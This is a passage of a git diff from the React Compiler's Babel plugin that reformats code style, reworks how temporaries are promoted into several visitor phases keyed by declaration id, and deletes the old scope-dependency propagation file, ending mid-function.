         writeReactiveValue(writer, terminal.test);
-        writer.writeLine(";");
+        writer.writeLine(';');
         if (terminal.update !== null) {
           writeReactiveValue(writer, terminal.update);
         }
       });
-      writer.writeLine(") {");
+      writer.writeLine(') {');
       writeReactiveInstructions(writer, terminal.loop);
-      writer.writeLine("}");
+      writer.writeLine('}');
       break;
     }
-    case "for-of": {
+    case 'for-of': {
       writer.writeLine(`[${terminal.id}] for-of (`);
       writer.indented(() => {
         writeReactiveValue(writer, terminal.init);
-        writer.writeLine(";");
+        writer.writeLine(';');
         writeReactiveValue(writer, terminal.test);
       });
-      writer.writeLine(") {");
+      writer.writeLine(') {');
       writeReactiveInstructions(writer, terminal.loop);
-      writer.writeLine("}");
+      writer.writeLine('}');
       break;
     }
-    case "for-in": {
+    case 'for-in': {
       writer.writeLine(`[${terminal.id}] for-in (`);
       writer.indented(() => {
         writeReactiveValue(writer, terminal.init);
       });
-      writer.writeLine(") {");
+      writer.writeLine(') {');
       writeReactiveInstructions(writer, terminal.loop);
-      writer.writeLine("}");
+      writer.writeLine('}');
       break;
     }
-    case "throw": {
+    case 'throw': {
       writer.writeLine(`[${terminal.id}] throw ${printPlace(terminal.value)}`);
       break;
     }
-    case "return": {
+    case 'return': {
       writer.writeLine(`[${terminal.id}] return ${printPlace(terminal.value)}`);
       break;
     }
-    case "label": {
-      writer.writeLine("{");
+    case 'label': {
+      writer.writeLine('{');
       writeReactiveInstructions(writer, terminal.block);
-      writer.writeLine("}");
+      writer.writeLine('}');
       break;
     }
-    case "try": {
+    case 'try': {
       writer.writeLine(`[${terminal.id}] try {`);
       writeReactiveInstructions(writer, terminal.block);
       writer.write(`} catch `);
@@ -374,11 +396,14 @@ function writeTerminal(writer: Writer, terminal: ReactiveTerminal): void {
         writer.writeLine(`{`);
       }
       writeReactiveInstructions(writer, terminal.handler);
-      writer.writeLine("}");
+      writer.writeLine('}');
       break;
     }
     default:
-      assertExhaustive(terminal, `Unhandled terminal ${terminal}`);
+      assertExhaustive(
+        terminal,
+        `Unhandled terminal kind \`${(terminal as any).kind}\``,
+      );
   }
 }
 
@@ -387,9 +412,9 @@ export class Writer {
   #line: string;
   #depth: number;
 
-  constructor({ depth }: { depth: number } = { depth: 0 }) {
+  constructor({depth}: {depth: number} = {depth: 0}) {
     this.#depth = Math.max(depth, 0);
-    this.#line = "";
+    this.#line = '';
   }
 
   complete(): string {
@@ -397,7 +422,7 @@ export class Writer {
     if (line.length > 0) {
       this.#out.push(line);
     }
-    return this.#out.join("\n");
+    return this.#out.join('\n');
   }
 
   append(s: string): void {
@@ -409,13 +434,13 @@ export class Writer {
     if (line.length > 0) {
       this.#out.push(line);
     }
-    this.#line = "";
+    this.#line = '';
   }
 
   write(s: string): void {
     if (this.#line.length === 0 && this.#depth > 0) {
       // indent before writing
-      this.#line = "  ".repeat(this.#depth);
+      this.#line = '  '.repeat(this.#depth);
     }
     this.#line += s;
   }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PromoteUsedTemporaries.ts b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PromoteUsedTemporaries.ts
index 235d7a565b89..1bd9690c5a5d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PromoteUsedTemporaries.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PromoteUsedTemporaries.ts
@@ -5,28 +5,35 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { CompilerError } from "../CompilerError";
-import { GeneratedSource } from "../HIR";
+import {CompilerError} from '../CompilerError';
+import {GeneratedSource} from '../HIR';
 import {
+  DeclarationId,
   Identifier,
-  IdentifierId,
   InstructionId,
   Place,
   PrunedReactiveScopeBlock,
   ReactiveFunction,
+  ReactiveScope,
+  ReactiveInstruction,
   ReactiveScopeBlock,
   ReactiveValue,
   ScopeId,
+  SpreadPattern,
   promoteTemporary,
   promoteTemporaryJsxTag,
-} from "../HIR/HIR";
-import { ReactiveFunctionVisitor, visitReactiveFunction } from "./visitors";
+  IdentifierId,
+} from '../HIR/HIR';
+import {ReactiveFunctionVisitor, visitReactiveFunction} from './visitors';
+import {eachInstructionValueLValue, eachPatternOperand} from '../HIR/visitors';
 
-class Visitor extends ReactiveFunctionVisitor<State> {
+/**
+ * Phase 2: Promote identifiers which are used in a place that requires a named variable.
+ */
+class PromoteTemporaries extends ReactiveFunctionVisitor<State> {
   override visitScope(scopeBlock: ReactiveScopeBlock, state: State): void {
-    this.traverseScope(scopeBlock, state);
     for (const dep of scopeBlock.scope.dependencies) {
-      const { identifier } = dep;
+      const {identifier} = dep;
       if (identifier.name == null) {
         promoteIdentifier(identifier, state);
       }
@@ -43,21 +50,23 @@ class Visitor extends ReactiveFunctionVisitor<State> {
         promoteIdentifier(declaration.identifier, state);
       }
     }
+    this.traverseScope(scopeBlock, state);
   }
 
   override visitPrunedScope(
     scopeBlock: PrunedReactiveScopeBlock,
-    state: State
+    state: State,
   ): void {
-    this.traversePrunedScope(scopeBlock, state);
     for (const [, declaration] of scopeBlock.scope.declarations) {
       if (
         declaration.identifier.name == null &&
-        state.pruned.get(declaration.identifier.id)?.usedOutsideScope === true
+        state.pruned.get(declaration.identifier.declarationId)
+          ?.usedOutsideScope === true
       ) {
         promoteIdentifier(declaration.identifier, state);
       }
     }
+    this.traversePrunedScope(scopeBlock, state);
   }
 
   override visitParam(place: Place, state: State): void {
@@ -69,10 +78,10 @@ class Visitor extends ReactiveFunctionVisitor<State> {
   override visitValue(
     id: InstructionId,
     value: ReactiveValue,
-    state: State
+    state: State,
   ): void {
     this.traverseValue(id, value, state);
-    if (value.kind === "FunctionExpression" || value.kind === "ObjectMethod") {
+    if (value.kind === 'FunctionExpression' || value.kind === 'ObjectMethod') {
       this.visitHirFunction(value.loweredFunc.func, state);
     }
   }
@@ -81,10 +90,10 @@ class Visitor extends ReactiveFunctionVisitor<State> {
     _id: InstructionId,
     _dependencies: Array<Place>,
     fn: ReactiveFunction,
-    state: State
+    state: State,
   ): void {
     for (const operand of fn.params) {
-      const place = operand.kind === "Identifier" ? operand : operand.place;
+      const place = operand.kind === 'Identifier' ? operand : operand.place;
       if (place.identifier.name === null) {
         promoteIdentifier(place.identifier, state);
       }
@@ -93,24 +102,96 @@ class Visitor extends ReactiveFunctionVisitor<State> {
   }
 }
 
-type JsxExpressionTags = Set<IdentifierId>;
+/**
+ * Phase 3: Now that identifiers which need promotion are promoted, find and promote
+ * all other Identifier instances of each promoted DeclarationId.
+ */
+class PromoteAllInstancedOfPromotedTemporaries extends ReactiveFunctionVisitor<State> {
+  override visitPlace(_id: InstructionId, place: Place, state: State): void {
+    if (
+      place.identifier.name === null &&
+      state.promoted.has(place.identifier.declarationId)
+    ) {
+      promoteIdentifier(place.identifier, state);
+    }
+  }
+  override visitLValue(
+    _id: InstructionId,
+    _lvalue: Place,
+    _state: State,
+  ): void {
+    this.visitPlace(_id, _lvalue, _state);
+  }
+  traverseScopeIdentifiers(scope: ReactiveScope, state: State): void {
+    for (const [, decl] of scope.declarations) {
+      if (
+        decl.identifier.name === null &&
+        state.promoted.has(decl.identifier.declarationId)
+      ) {
+        promoteIdentifier(decl.identifier, state);
+      }
+    }
+    for (const dep of scope.dependencies) {
+      if (
+        dep.identifier.name === null &&
+        state.promoted.has(dep.identifier.declarationId)
+      ) {
+        promoteIdentifier(dep.identifier, state);
+      }
+    }
+    for (const reassignment of scope.reassignments) {
+      if (
+        reassignment.name === null &&
+        state.promoted.has(reassignment.declarationId)
+      ) {
+        promoteIdentifier(reassignment, state);
+      }
+    }
+  }
+  override visitScope(scope: ReactiveScopeBlock, state: State): void {
+    this.traverseScope(scope, state);
+    this.traverseScopeIdentifiers(scope.scope, state);
+  }
+  override visitPrunedScope(
+    scopeBlock: PrunedReactiveScopeBlock,
+    state: State,
+  ): void {
+    this.traversePrunedScope(scopeBlock, state);
+    this.traverseScopeIdentifiers(scopeBlock.scope, state);
+  }
+  override visitReactiveFunctionValue(
+    _id: InstructionId,
+    _dependencies: Array<Place>,
+    fn: ReactiveFunction,
+    state: State,
+  ): void {
+    visitReactiveFunction(fn, this, state);
+  }
+}
+
+type JsxExpressionTags = Set<DeclarationId>;
 type State = {
   tags: JsxExpressionTags;
+  promoted: Set<DeclarationId>;
   pruned: Map<
-    IdentifierId,
-    { activeScopes: Array<ScopeId>; usedOutsideScope: boolean }
+    DeclarationId,
+    {activeScopes: Array<ScopeId>; usedOutsideScope: boolean}
   >; // true if referenced within another scope, false if only accessed outside of scopes
 };
 
+/**
+ * Phase 1: checks for pruned variables which need to be promoted, as well as
+ * usage of identifiers as jsx tags, which need to be promoted differently
+ */
 class CollectPromotableTemporaries extends ReactiveFunctionVisitor<State> {
   activeScopes: Array<ScopeId> = [];
 
   override visitPlace(_id: InstructionId, place: Place, state: State): void {
     if (
       this.activeScopes.length !== 0 &&
-      state.pruned.has(place.identifier.id)
+      state.pruned.has(place.identifier.declarationId)
     ) {
-      const prunedPlace = state.pruned.get(place.identifier.id)!;
+      const prunedPlace = state.pruned.get(place.identifier.declarationId)!;
       if (prunedPlace.activeScopes.indexOf(this.activeScopes.at(-1)!) === -1) {
         prunedPlace.usedOutsideScope = true;
       }
@@ -120,24 +201,25 @@ class CollectPromotableTemporaries extends ReactiveFunctionVisitor<State> {
   override visitValue(
     id: InstructionId,
     value: ReactiveValue,
-    state: State
+    state: State,
   ): void {
     this.traverseValue(id, value, state);
-    if (value.kind === "JsxExpression" && value.tag.kind === "Identifier") {
-      state.tags.add(value.tag.identifier.id);
+    if (value.kind === 'JsxExpression' && value.tag.kind === 'Identifier') {
+      state.tags.add(value.tag.identifier.declarationId);
     }
   }
 
   override visitPrunedScope(
     scopeBlock: PrunedReactiveScopeBlock,
-    state: State
+    state: State,
   ): void {
-    for (const [id] of scopeBlock.scope.declarations) {
-      state.pruned.set(id, {
+    for (const [_id, decl] of scopeBlock.scope.declarations) {
+      state.pruned.set(decl.identifier.declarationId, {
         activeScopes: [...this.activeScopes],
         usedOutsideScope: false,
       });
     }
+    this.visitBlock(scopeBlock.instructions, state);
   }
 
   override visitScope(scopeBlock: ReactiveScopeBlock, state: State): void {
@@ -147,32 +229,236 @@ class CollectPromotableTemporaries extends ReactiveFunctionVisitor<State> {
   }
 }
 
+type InterState = Map<IdentifierId, [Identifier, boolean]>;
+class PromoteInterposedTemporaries extends ReactiveFunctionVisitor<InterState> {
+  #promotable: State;
+  #consts: Set<IdentifierId> = new Set();
+  #globals: Set<IdentifierId> = new Set();
+
+  /*
+   * Unpromoted temporaries will be emitted at their use sites rather than as separate
+   * declarations. However, this causes errors if an interposing temporary has been
+   * promoted, or if an interposing instruction has had its lvalues deleted, because such
+   * temporaries will be emitted as separate statements, which can effectively cause
+   * code to be reordered, and when that code has side effects that changes program behavior.
+   * This visitor promotes temporarties that have such interposing instructions to preserve
+   * source ordering.
+   */
+  constructor(promotable: State, params: Array<Place | SpreadPattern>) {
+    super();
+    params.forEach(param => {
+      switch (param.kind) {
+        case 'Identifier':
+          this.#consts.add(param.identifier.id);
+          break;
+        case 'Spread':
+          this.#consts.add(param.place.identifier.id);
+          break;
+      }
+    });
+    this.#promotable = promotable;
+  }
+
+  override visitPlace(
+    _id: InstructionId,
+    place: Place,
+    state: InterState,
+  ): void {
+    const promo = state.get(place.identifier.id);
+    if (promo) {
+      const [identifier, needsPromotion] = promo;
+      if (
+        needsPromotion &&
+        identifier.name === null &&
+        !this.#consts.has(identifier.id)
+      ) {
+        /*
+         * If the identifier hasn't been promoted but is marked as needing
+         * promotion by the logic in `visitInstruction`, and we've seen a
+         * use of it after said marking, promote it
+         */
+        promoteIdentifier(identifier, this.#promotable);
+      }
+    }
+  }
+
+  override visitInstruction(
+    instruction: ReactiveInstruction,
+    state: InterState,
+  ): void {
+    for (const lval of eachInstructionValueLValue(instruction.value)) {
+      CompilerError.invariant(lval.identifier.name != null, {
+        reason:
+          'PromoteInterposedTemporaries: Assignment targets not expected to be temporaries',
+        loc: instruction.loc,
+      });
+    }
+
+    switch (instruction.value.kind) {
+      case 'CallExpression':
+      case 'MethodCall':
+      case 'Await':
+      case 'PropertyStore':
+      case 'PropertyDelete':
+      case 'ComputedStore':
+      case 'ComputedDelete':
+      case 'PostfixUpdate':
+      case 'PrefixUpdate':
+      case 'StoreLocal':
+      case 'StoreContext':
+      case 'StoreGlobal':
+      case 'Destructure': {
+        let constStore = false;
+
+        if (
+          (instruction.value.kind === 'StoreContext' ||
+            instruction.value.kind === 'StoreLocal') &&
+          (instruction.value.lvalue.kind === 'Const' ||
+            instruction.value.lvalue.kind === 'HoistedConst')
+        ) {
+          /*
+           * If an identifier is const, we don't need to worry about it
+           * being mutated between being loaded and being used
+           */
+          this.#consts.add(instruction.value.lvalue.place.identifier.id);
+          constStore = true;
+        }
+        if (
+          instruction.value.kind === 'Destructure' &&
+          (instruction.value.lvalue.kind === 'Const' ||
+            instruction.value.lvalue.kind === 'HoistedConst')
+        ) {
+          [...eachPatternOperand(instruction.value.lvalue.pattern)].forEach(
+            ident => this.#consts.add(ident.identifier.id),
+          );
+          constStore = true;
+        }
+        if (instruction.value.kind === 'MethodCall') {
+          // Treat property of method call as constlike so we don't promote it.
+          this.#consts.add(instruction.value.property.identifier.id);
+        }
+
+        super.visitInstruction(instruction, state);
+        if (
+          !constStore &&
+          (instruction.lvalue == null ||
+            instruction.lvalue.identifier.name != null)
+        ) {
+          /*
+           * If we've stripped the lvalue or promoted the lvalue, then we will emit this instruction
+           * as a statement in codegen.
+           *
+           * If this instruction will be emitted directly as a statement rather than as a temporary
+           * during codegen, then it can interpose between the defs and the uses of other temporaries.
+           * Since this instruction could potentially mutate those defs, it's not safe to relocate
+           * the definition of those temporaries to after this instruction. Mark all those temporaries
+           * as needing promotion, but don't promote them until we actually see them being used.
+           */
+          for (const [key, [ident, _]] of state.entries()) {
+            state.set(key, [ident, true]);
+          }
+        }
+        if (instruction.lvalue && instruction.lvalue.identifier.name === null) {
+          // Add this instruction's lvalue to the state, initially not marked as needing promotion
+          state.set(instruction.lvalue.identifier.id, [
+            instruction.lvalue.identifier,
+            false,
+          ]);
+        }
+        break;
+      }
+      case 'DeclareContext':
+      case 'DeclareLocal': {
+        if (
+          instruction.value.lvalue.kind === 'Const' ||
+          instruction.value.lvalue.kind === 'HoistedConst'
+        ) {
+          this.#consts.add(instruction.value.lvalue.place.identifier.id);
+        }
+        super.visitInstruction(instruction, state);
+        break;
+      }
+      case 'LoadContext':
+      case 'LoadLocal': {
+        if (instruction.lvalue && instruction.lvalue.identifier.name === null) {
+          if (this.#consts.has(instruction.value.place.identifier.id)) {
+            this.#consts.add(instruction.lvalue.identifier.id);
+          }
+          state.set(instruction.lvalue.identifier.id, [
+            instruction.lvalue.identifier,
+            false,
+          ]);
+        }
+        super.visitInstruction(instruction, state);
+        break;
+      }
+      case 'PropertyLoad':
+      case 'ComputedLoad': {
+        if (instruction.lvalue) {
+          if (this.#globals.has(instruction.value.object.identifier.id)) {
+            this.#globals.add(instruction.lvalue.identifier.id);
+            this.#consts.add(instruction.lvalue.identifier.id);
+          }
+          if (instruction.lvalue.identifier.name === null) {
+            state.set(instruction.lvalue.identifier.id, [
+              instruction.lvalue.identifier,
+              false,
+            ]);
+          }
+        }
+        super.visitInstruction(instruction, state);
+        break;
+      }
+      case 'LoadGlobal': {
+        instruction.lvalue &&
+          this.#globals.add(instruction.lvalue.identifier.id);
+        super.visitInstruction(instruction, state);
+        break;
+      }
+      default: {
+        super.visitInstruction(instruction, state);
+      }
+    }
+  }
+}
+
 export function promoteUsedTemporaries(fn: ReactiveFunction): void {
   const state: State = {
     tags: new Set(),
+    promoted: new Set(),
     pruned: new Map(),
   };
   visitReactiveFunction(fn, new CollectPromotableTemporaries(), state);
   for (const operand of fn.params) {
-    const place = operand.kind === "Identifier" ? operand : operand.place;
+    const place = operand.kind === 'Identifier' ? operand : operand.place;
     if (place.identifier.name === null) {
       promoteIdentifier(place.identifier, state);
     }
   }
-  visitReactiveFunction(fn, new Visitor(), state);
+  visitReactiveFunction(fn, new PromoteTemporaries(), state);
+
+  visitReactiveFunction(
+    fn,
+    new PromoteInterposedTemporaries(state, fn.params),
+    new Map(),
+  );
+  visitReactiveFunction(
+    fn,
+    new PromoteAllInstancedOfPromotedTemporaries(),
+    state,
+  );
 }
 
 function promoteIdentifier(identifier: Identifier, state: State): void {
   CompilerError.invariant(identifier.name === null, {
     reason:
-      "promoteTemporary: Expected to be called only for temporary variables",
-    description: null,
+      'promoteTemporary: Expected to be called only for temporary variables',
     loc: GeneratedSource,
-    suggestions: null,
   });
-  if (state.tags.has(identifier.id)) {
+  if (state.tags.has(identifier.declarationId)) {
     promoteTemporaryJsxTag(identifier);
   } else {
     promoteTemporary(identifier);
   }
+  state.promoted.add(identifier.declarationId);
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PropagateEarlyReturns.ts b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PropagateEarlyReturns.ts
index ef2c217e2557..522aaf5a5df2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PropagateEarlyReturns.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PropagateEarlyReturns.ts
@@ -5,8 +5,8 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { visitReactiveFunction } from ".";
-import { Effect } from "..";
+import {visitReactiveFunction} from '.';
+import {Effect} from '..';
 import {
   Environment,
   GeneratedSource,
@@ -17,15 +17,14 @@ import {
   ReactiveStatement,
   ReactiveTerminalStatement,
   makeInstructionId,
+  makePropertyLiteral,
   promoteTemporary,
-} from "../HIR";
-import { createTemporaryPlace } from "../HIR/HIRBuilder";
-import { EARLY_RETURN_SENTINEL } from "./CodegenReactiveFunction";
-import { ReactiveFunctionTransform, Transformed } from "./visitors";
+} from '../HIR';
+import {createTemporaryPlace} from '../HIR/HIRBuilder';
+import {EARLY_RETURN_SENTINEL} from './CodegenReactiveFunction';
+import {ReactiveFunctionTransform, Transformed} from './visitors';
 
 /**
- * TODO: Actualy propagate early return information, for now we throw a Todo bailout.
- *
  * This pass ensures that reactive blocks honor the control flow behavior of the
  * original code including early return semantics. Specifically, if a reactive
  * scope early returned during the previous execution and the inputs to that block
@@ -121,7 +120,7 @@ type State = {
    * Store early return information to bubble it back up to the outermost
    * reactive scope
    */
-  earlyReturnValue: ReactiveScope["earlyReturnValue"];
+  earlyReturnValue: ReactiveScope['earlyReturnValue'];
 };
 
 class Transform extends ReactiveFunctionTransform<State> {
@@ -133,8 +132,16 @@ class Transform extends ReactiveFunctionTransform<State> {
 
   override visitScope(
     scopeBlock: ReactiveScopeBlock,
-    parentState: State
+    parentState: State,
   ): void {
+    /**
+     * Exit early if an earlier pass has already created an early return,
+     * which may happen in alternate compiler configurations.
+     */
+    if (scopeBlock.scope.earlyReturnValue !== null) {
+      return;
+    }
+
     const innerState: State = {
       withinReactiveScope: true,
       earlyReturnValue: parentState.earlyReturnValue,
@@ -159,56 +166,56 @@ class Transform extends ReactiveFunctionTransform<State> {
         const argTemp = createTemporaryPlace(this.env, loc);
         scopeBlock.instructions = [
           {
-            kind: "instruction",
+            kind: 'instruction',
             instruction: {
               id: makeInstructionId(0),
               loc,
-              lvalue: { ...symbolTemp },
+              lvalue: {...symbolTemp},
               value: {
-                kind: "LoadGlobal",
+                kind: 'LoadGlobal',
                 binding: {
-                  kind: "Global",
-                  name: "Symbol",
+                  kind: 'Global',
+                  name: 'Symbol',
                 },
                 loc,
               },
             },
           },
           {
-            kind: "instruction",
+            kind: 'instruction',
             instruction: {
               id: makeInstructionId(0),
               loc,
-              lvalue: { ...forTemp },
+              lvalue: {...forTemp},
               value: {
-                kind: "PropertyLoad",
-                object: { ...symbolTemp },
-                property: "for",
+                kind: 'PropertyLoad',
+                object: {...symbolTemp},
+                property: makePropertyLiteral('for'),
                 loc,
               },
             },
           },
           {
-            kind: "instruction",
+            kind: 'instruction',
             instruction: {
               id: makeInstructionId(0),
               loc,
-              lvalue: { ...argTemp },
+              lvalue: {...argTemp},
               value: {
-                kind: "Primitive",
+                kind: 'Primitive',
                 value: EARLY_RETURN_SENTINEL,
                 loc,
               },
             },
           },
           {
-            kind: "instruction",
+            kind: 'instruction',
             instruction: {
               id: makeInstructionId(0),
               loc,
-              lvalue: { ...sentinelTemp },
+              lvalue: {...sentinelTemp},
               value: {
-                kind: "MethodCall",
+                kind: 'MethodCall',
                 receiver: symbolTemp,
                 property: forTemp,
                 args: [argTemp],
@@ -217,37 +224,37 @@ class Transform extends ReactiveFunctionTransform<State> {
             },
           },
           {
-            kind: "instruction",
+            kind: 'instruction',
             instruction: {
               id: makeInstructionId(0),
               loc,
               lvalue: null,
               value: {
-                kind: "StoreLocal",
+                kind: 'StoreLocal',
                 loc,
                 type: null,
                 lvalue: {
                   kind: InstructionKind.Let,
                   place: {
-                    kind: "Identifier",
+                    kind: 'Identifier',
                     effect: Effect.ConditionallyMutate,
                     loc,
                     reactive: true,
                     identifier: earlyReturnValue.value,
                   },
                 },
-                value: { ...sentinelTemp },
+                value: {...sentinelTemp},
               },
             },
           },
           {
-            kind: "terminal",
+            kind: 'terminal',
             label: {
               id: earlyReturnValue.label,
               implicit: false,
             },
             terminal: {
-              kind: "label",
+              kind: 'label',
               id: makeInstructionId(0),
               loc: GeneratedSource,
               block: instructions,
@@ -266,11 +273,11 @@ class Transform extends ReactiveFunctionTransform<State> {
 
   override transformTerminal(
     stmt: ReactiveTerminalStatement,
-    state: State
+    state: State,
   ): Transformed<ReactiveStatement> {
-    if (state.withinReactiveScope && stmt.terminal.kind === "return") {
+    if (state.withinReactiveScope && stmt.terminal.kind === 'return') {
       const loc = stmt.terminal.value.loc;
-      let earlyReturnValue: ReactiveScope["earlyReturnValue"];
+      let earlyReturnValue: ReactiveScope['earlyReturnValue'];
       if (state.earlyReturnValue !== null) {
         earlyReturnValue = state.earlyReturnValue;
       } else {
@@ -284,22 +291,22 @@ class Transform extends ReactiveFunctionTransform<State> {
       }
       state.earlyReturnValue = earlyReturnValue;
       return {
-        kind: "replace-many",
+        kind: 'replace-many',
         value: [
           {
-            kind: "instruction",
+            kind: 'instruction',
             instruction: {
               id: makeInstructionId(0),
               loc,
               lvalue: null,
               value: {
-                kind: "StoreLocal",
+                kind: 'StoreLocal',
                 loc,
                 type: null,
                 lvalue: {
                   kind: InstructionKind.Reassign,
                   place: {
-                    kind: "Identifier",
+                    kind: 'Identifier',
                     identifier: earlyReturnValue.value,
                     effect: Effect.Capture,
                     loc,
@@ -311,13 +318,13 @@ class Transform extends ReactiveFunctionTransform<State> {
             },
           },
           {
-            kind: "terminal",
+            kind: 'terminal',
             label: null,
             terminal: {
-              kind: "break",
+              kind: 'break',
               id: makeInstructionId(0),
               loc,
-              targetKind: "labeled",
+              targetKind: 'labeled',
               target: earlyReturnValue.label,
             },
           },
@@ -325,6 +332,6 @@ class Transform extends ReactiveFunctionTransform<State> {
       };
     }
     this.traverseTerminal(stmt, state);
-    return { kind: "keep" };
+    return {kind: 'keep'};
   }
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PropagateScopeDependencies.ts b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PropagateScopeDependencies.ts
deleted file mode 100644
index bc684ffe36f6..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PropagateScopeDependencies.ts
+++ /dev/null
@@ -1,1051 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-import { CompilerError } from "../CompilerError";
-import {
-  BlockId,
-  GeneratedSource,
-  Identifier,
-  IdentifierId,
-  InstructionId,
-  InstructionKind,
-  isObjectMethodType,
-  isRefValueType,
-  isUseRefType,
-  makeInstructionId,
-  Place,
-  PrunedReactiveScopeBlock,
-  ReactiveFunction,
-  ReactiveInstruction,
-  ReactiveScope,
-  ReactiveScopeBlock,
-  ReactiveScopeDependency,
-  ReactiveTerminalStatement,
-  ReactiveValue,
-  ScopeId,
-} from "../HIR/HIR";
-import {
-  eachInstructionValueOperand,
-  eachPatternOperand,
-} from "../HIR/visitors";
-import { empty, Stack } from "../Utils/Stack";
-import { assertExhaustive } from "../Utils/utils";
-import {
-  ReactiveScopeDependencyTree,
-  ReactiveScopePropertyDependency,
-} from "./DeriveMinimalDependencies";
-import { ReactiveFunctionVisitor, visitReactiveFunction } from "./visitors";
-
-/*
- * Infers the dependencies of each scope to include variables whose values
- * are non-stable and created prior to the start of the scope. Also propagates
- * dependencies upwards, so that parent scope dependencies are the union of
- * their direct dependencies and those of their child scopes.
- */
-export function propagateScopeDependencies(fn: ReactiveFunction): void {
-  const escapingTemporaries: TemporariesUsedOutsideDefiningScope = {
-    declarations: new Map(),
-    usedOutsideDeclaringScope: new Set(),
-  };
-  visitReactiveFunction(fn, new FindPromotedTemporaries(), escapingTemporaries);
-
-  const context = new Context(escapingTemporaries.usedOutsideDeclaringScope);
-  for (const param of fn.params) {
-    if (param.kind === "Identifier") {
-      context.declare(param.identifier, {
-        id: makeInstructionId(0),
-        scope: empty(),
-      });
-    } else {
-      context.declare(param.place.identifier, {
-        id: makeInstructionId(0),
-        scope: empty(),
-      });
-    }
-  }
-  visitReactiveFunction(
-    fn,
-    new PropagationVisitor(fn.env.config.enableTreatFunctionDepsAsConditional),
-    context
-  );
-}
-
-type TemporariesUsedOutsideDefiningScope = {
-  /*
-   * tracks all relevant temporary declarations (currently LoadLocal and PropertyLoad)
-   * and the scope where they are defined
-   */
-  declarations: Map<IdentifierId, ScopeId>;
-  // temporaries used outside of their defining scope
-  usedOutsideDeclaringScope: Set<IdentifierId>;
-};
-class FindPromotedTemporaries extends ReactiveFunctionVisitor<TemporariesUsedOutsideDefiningScope> {
-  scopes: Array<ScopeId> = [];
-
-  override visitScope(
-    scope: ReactiveScopeBlock,
-    state: TemporariesUsedOutsideDefiningScope
-  ): void {
-    this.scopes.push(scope.scope.id);
-    this.traverseScope(scope, state);
-    this.scopes.pop();
-  }
-
-  override visitInstruction(
-    instruction: ReactiveInstruction,
-    state: TemporariesUsedOutsideDefiningScope
-  ): void {
-    // Visit all places first, then record temporaries which may need to be promoted
-    this.traverseInstruction(instruction, state);
-
-    const scope = this.scopes.at(-1);
-    if (instruction.lvalue === null || scope === undefined) {
-      return;
-    }
-    switch (instruction.value.kind) {
-      case "LoadLocal":
-      case "LoadContext":
-      case "PropertyLoad": {
-        state.declarations.set(instruction.lvalue.identifier.id, scope);
-        break;
-      }
-      default: {
-        break;
-      }
-    }
-  }
-
-  override visitPlace(
-    _id: InstructionId,
-    place: Place,
-    state: TemporariesUsedOutsideDefiningScope
-  ): void {
-    const declaringScope = state.declarations.get(place.identifier.id);
-    if (declaringScope === undefined) {
-      return;
-    }
-    if (this.scopes.indexOf(declaringScope) === -1) {
-      // Declaring scope is not active === used outside declaring scope
-      state.usedOutsideDeclaringScope.add(place.identifier.id);
-    }
-  }
-}
-
-type DeclMap = Map<IdentifierId, Decl>;
-type Decl = {
-  id: InstructionId;
-  scope: Stack<ScopeTraversalState>;
-};
-
-/**
- * TraversalState and PoisonState is used to track the poisoned state of a scope.
- *
- * A scope is poisoned when either of these conditions hold:
- * - one of its own nested blocks is a jump target (for break/continues)
- * - it is a outermost scope and contains a throw / return
- *
- * When a scope is poisoned, all dependencies (from instructions and inner scopes)
- * are added as conditionally accessed.
- */
-type ScopeTraversalState = {
-  value: ReactiveScope;
-  ownBlocks: Stack<BlockId>;
-};
-
-class PoisonState {
-  poisonedBlocks: Set<BlockId> = new Set();
-  poisonedScopes: Set<ScopeId> = new Set();
-  isPoisoned: boolean = false;
-
-  constructor(
-    poisonedBlocks: Set<BlockId>,
-    poisonedScopes: Set<ScopeId>,
-    isPoisoned: boolean
-  ) {
-    this.poisonedBlocks = poisonedBlocks;
-    this.poisonedScopes = poisonedScopes;
-    this.isPoisoned = isPoisoned;
-  }
-
-  clone(): PoisonState {
-    return new PoisonState(
-      new Set(this.poisonedBlocks),
-      new Set(this.poisonedScopes),
-      this.isPoisoned
-    );
-  }
-
-  take(other: PoisonState): PoisonState {
-    const copy = new PoisonState(
-      this.poisonedBlocks,
-      this.poisonedScopes,
-      this.isPoisoned
-    );
-    this.poisonedBlocks = other.poisonedBlocks;
-    this.poisonedScopes = other.poisonedScopes;
-    this.isPoisoned = other.isPoisoned;
-    return copy;
-  }
-
-  merge(
-    others: Array<PoisonState>,
-    currentScope: ScopeTraversalState | null
-  ): void {
-    for (const other of others) {
-      for (const id of other.poisonedBlocks) {
-        this.poisonedBlocks.add(id);
-      }
-      for (const id of other.poisonedScopes) {
-        this.poisonedScopes.add(id);
-      }
-    }
-    this.#invalidate(currentScope);
-  }
-
-  #invalidate(currentScope: ScopeTraversalState | null): void {
-    if (currentScope != null) {
-      if (this.poisonedScopes.has(currentScope.value.id)) {
-        this.isPoisoned = true;
-        return;
-      } else if (
-        currentScope.ownBlocks.find((blockId) =>
-          this.poisonedBlocks.has(blockId)
-        )
-      ) {
-        this.isPoisoned = true;
-        return;
-      }
-    }
-    this.isPoisoned = false;
-  }
-
-  /**
-   * Mark a block or scope as poisoned and update the `isPoisoned` flag.
-   *
-   * @param targetBlock id of the block which ends non-linear control flow.
-   *   For a break/continue instruction, this is the target block.
-   *   Throw and return instructions have no target and will poison the earliest
-   *   active scope
-   */
-  addPoisonTarget(
-    target: BlockId | null,
-    activeScopes: Stack<ScopeTraversalState>
-  ): void {
-    const currentScope = activeScopes.value;
-    if (target == null && currentScope != null) {
-      let cursor = activeScopes;
-      while (true) {
